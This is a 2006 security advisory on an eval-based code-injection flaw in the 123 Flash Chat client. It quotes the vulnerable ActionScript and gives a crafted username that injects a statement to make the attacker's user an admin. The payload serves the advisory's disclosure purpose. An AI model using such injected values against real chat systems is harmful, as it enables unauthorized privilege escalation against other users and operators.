INTERNET SECURITY AUDITORS ALERT 2006-003
- Original release date: January 12, 2006
- Last revised: January 23, 2006
- Discovered by: Jesus Olmos Gonzalez
- Severity: 4/5
=============================================
I. VULNERABILITY
-------------------------
Arbitrary flash code remote execution in 123flashchat.
Admin account scalation.
II. BACKGROUND
-------------------------
123 Flash Chat is a full featured java chat server and flash chat
client, the product homepage is www.123flashchat.com and it is
possible to test it at:
http://host10.123flaschat.com/123flaschat.swf
http://www.123flashchat.com/123flashchat.swf
III. DESCRIPTION
-------------------------
The flash chat client uses too much the eval sentence, in most of
cases there is vulnerable becouse there is included variables in the
eval, and users can change the value of them.
If we can write in a eval, we can inject code, if our user name has
the character ; we could write code inside the client.
If its possible to write code, a cracker can convet his user to an
admin by changing his variables. Is possible to inject to other
clients too.
let's see the vulnerable code:
function openOneAVWindow(username) {
var i = 0;
if (i < roomUsers.length) {
var user = roomUsers[i];
if (user.name == username)
{
if (eval("_root.avmc_" + user.name) == "")
if our username is:
x;user.name= a;user.name=ADMIN_AVATAR_NAME;//
the eval will be:
eval("_root.avmc_a;user.name=ADMIN_AVATAR_NAME;//");
and this will be executed when a window is opened:
user.name=ADMIN_AVATAR_NAME;
Is not possible a username with the " character, then is possible to
use the ADMIN_AVATAR_NAME constat wich value is "admin".
